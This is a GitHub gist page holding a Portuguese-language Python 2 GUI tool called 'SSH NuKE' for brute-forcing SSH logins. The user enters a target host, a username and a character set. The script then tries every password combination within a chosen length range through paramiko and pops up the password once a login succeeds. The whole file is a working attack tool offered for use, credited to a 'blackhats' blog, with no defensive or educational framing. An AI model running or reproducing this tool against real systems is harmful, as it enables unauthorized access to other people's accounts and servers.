Skip to content

Instantly share code, notes, and snippets.

@hc0d3r
Created May 19, 2013 16:49
Show Gist options
  • Save hc0d3r/5608218 to your computer and use it in GitHub Desktop.
Save hc0d3r/5608218 to your computer and use it in GitHub Desktop.
Um programa simples com gui para fazer brute-force em SSH
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Coder: MMxM
# [ http://the-blackhats.blogspot.com ]
from itertools import product
from gtk import *
from sys import exit
from paramiko import SSHClient,AutoAddPolicy
from socket import gethostbyname
continua=None
class Gui:
def destroy(self, widget, data=None):
#main_quit()
exit()
def __init__(self):
self.window = Window(WINDOW_TOPLEVEL)
self.window.set_position(WIN_POS_CENTER)
self.window.set_size_request(320, 310)
self.window.set_title("SSH NuKE V.10")
self.window.set_resizable(False)
self.window.set_border_width(10)
color = gdk.color_parse('#000000')
self.window.modify_bg(STATE_NORMAL, color)
fix = Fixed()
self.lb1 = Label("<span color='green'>Host/IP:</span>")
self.lb2 = Label("<span color='green'>Usuario:</span>")
self.lb3 = Label("<span color='green'>Caracteres:</span>")
self.lb4 = Label("<span color='green'>Min:</span>")
self.lb5 = Label("<span color='green'>Max:</span>")
self.lb6 = Label("<span color='green'>Status:</span>")
self.edit1 = Entry()
self.edit2 = Entry()
self.edit3 = Entry()
self.edit4 = Entry()
self.edit5 = Entry()
self.bt1 = Button("Atacar !!! ")
self.bt2 = Button("Sobre")
self.bt3 = Button("Parar !!!")
self.status = TextView(buffer = None)
self.status.get_buffer().insert_at_cursor('\n\t\t\t[ PARADO ]')
sw = ScrolledWindow()
sw.set_policy(POLICY_AUTOMATIC, POLICY_AUTOMATIC)
sw.add(self.status)
self.status.set_editable(False)
self.status.set_cursor_visible(False)
self.bt1.connect("clicked",self.ataque)
self.bt2.connect("clicked",self.sobre)
self.bt3.connect("clicked",self.stop)
self.lb1.set_use_markup(True)
self.lb2.set_use_markup(True)
self.lb3.set_use_markup(True)
self.lb4.set_use_markup(True)
self.lb5.set_use_markup(True)
self.lb6.set_use_markup(True)
self.bt1.set_tooltip_text("Iniciar Ataque !!!")
self.bt2.set_tooltip_text("Autor & Gr33tz")
self.lb1.set_tooltip_text("Alvo")
self.lb2.set_tooltip_text("Nome do usuario")
self.lb3.set_tooltip_text("Caracteres que serão usados no Ataque de força bruta")
self.lb4.set_tooltip_text("Numero minimo de caracteres que serão usados")
self.lb5.set_tooltip_text("Numero maximo de caracteres que serão usados")
self.bt2.set_size_request(280, 25)
self.edit1.set_size_request(200, 25)
self.edit2.set_size_request(200, 25)
self.edit3.set_size_request(200, 25)
self.edit4.set_size_request(50, 25)
self.edit5.set_size_request(50, 25)
self.status.set_size_request(280, 60)
fix.put(self.lb1, 10, 17)
fix.put(self.lb2, 10, 47)
fix.put(self.lb3, 10, 77)
fix.put(self.lb4, 10, 120)
fix.put(self.lb5, 102, 120)
fix.put(self.lb6, 15, 155)
fix.put(self.edit1, 94, 15)
fix.put(self.edit2, 94, 45)
fix.put(self.edit3, 94, 75)
fix.put(self.edit4, 45, 117)
fix.put(self.edit5, 140, 117)
fix.put(self.bt3, 217, 115)
fix.put(self.bt1, 217, 115)
fix.put(self.bt2, 10, 250)
fix.put(sw, 10 , 180)
self.window.add(fix)
self.window.show_all()
self.window.connect("destroy",self.destroy)
def sobre(self,widget):
sobre = AboutDialog()
sobre.set_authors(['Coded by: MMxM','Gr33tz: Cy¢lone, Ut0p|4, r00t_5tr1k3r, Md. Morpheus, Hacker Fts315, F.Ramon, B-man'])
sobre.set_version('1.0')
sobre.set_comments('SSH NuKE V1.0\nCoder: MMxM')
sobre.set_website('http://the-blackhats.blogspot.com/')
sobre.set_website_label('Meu Blog')
sobre.run()
sobre.destroy()
def ataque(self,widget):
try:
if self.edit1.get_text() == '': return None
if self.edit2.get_text() == '': return None
if self.edit3.get_text() == '': return None
if self.edit4.get_text() == '': return None
if self.edit5.get_text() == '': return None
mi = int(self.edit4.get_text())
ma = int(self.edit5.get_text())
if mi > ma: return None
self.bt1.hide()
host = gethostbyname(self.edit1.get_text())
for n in range(mi,ma+1):
global continua
if continua != None: break
for c in product(list(self.edit3.get_text()),repeat=n):
if continua != None: break
passwd = ''.join(c)
self.status.get_buffer().set_text('[ + ] Alvo: %s\n[ * ] Testando => %s\n'%(host,passwd))
while events_pending():
main_iteration()
if self.ssh(passwd,host) == 'fail':
continue
self.status.get_buffer().set_text('\n\t\t\t[ PARADO ]')
self.bt1.show()
continua=None
except:
self.bt1.show()
self.status.get_buffer().set_text('\n\t\t\t[ PARADO ]')
def ssh(self,passwd,host):
try:
Usuario = self.edit2.get_text()
ssh = SSHClient()
ssh.set_missing_host_key_policy(AutoAddPolicy())
ssh.connect(host, username=Usuario,password=passwd)
ok = MessageDialog(None ,DIALOG_DESTROY_WITH_PARENT, MESSAGE_INFO, BUTTONS_CLOSE, 'Senha descoberta !!!\nHost: %s\nUsuario: %s\nSenha: %s'%(host,Usuario,passwd))
ok.run()
ok.destroy()
global continua
continua=True
return 'ok'
except Exception, e:
return 'fail'
def stop(self,widget):
global continua
continua=True
def main(self):
main()
if __name__ == "__main__":
gui = Gui()
gui.main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment